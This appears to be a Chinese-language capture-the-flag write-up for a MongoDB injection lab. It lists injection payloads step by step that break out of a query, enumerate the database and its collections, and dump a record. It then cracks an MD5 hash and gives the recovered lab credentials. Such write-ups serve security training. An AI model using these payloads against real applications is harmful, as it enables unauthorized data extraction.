题目介绍:
提供了题目的一部分源码:
判断注入:
根据源码中的 ({'id':'$id'});
处理,输入 ?id=1'});
,页面报错,发现注入点
判断回显:
使用语句 ?id=1'}); return ({title:1,content:'2
,页面出现回显位置
查询数据库:
使用语句:?id=1'}); return ({title:tojson(db),content:'1
获知数据库
爆数据库表:
使用语句:?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1
可获知数据库表,db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。并且mongodb函数区分大小写
爆字段:
使用语句:?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1
获得字段, db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据
MD5解码:
解码获得登录密码
获取key:
用户名:mozhe 密码:156584 登录获取key